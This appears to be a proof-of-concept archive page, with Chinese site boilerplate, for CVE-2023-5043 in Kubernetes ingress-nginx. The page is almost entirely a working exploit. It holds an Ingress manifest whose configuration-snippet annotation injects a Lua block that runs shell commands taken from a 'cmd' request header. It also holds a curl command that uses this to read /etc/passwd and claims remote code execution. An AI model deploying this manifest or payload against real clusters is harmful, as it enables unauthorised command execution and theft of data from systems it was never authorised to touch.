关联漏洞
Description
PoC CVE-2023-5043
介绍
# CVE-2023-5043
**Ingress nginx annotation injection causes arbitrary command execution**
1. Create Ingress (can be created without Service and Pod)
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_headers "robinak"
proxy_pass http://upstream_balancer;
proxy_redirect off;
}
location /robinak/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()["cmd"]);local rschar = rsfile:read("*all");ngx.say(rschar); } } location /fs/{
spec:
rules:
- host: robinak.me
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: exploit
port:
number: 80
```
2. Make request by specifying the public address of your Ingress NGINX controller:
```bash
curl -v -H 'Host: robinak.me' -H "cmd: cat /etc/passwd" http://IP/robinak/
```
3. Got RCE

文件快照
[4.0K] /data/pocs/b1309892595133d785d9f9148290d1a94ff3faca
└── [1.2K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。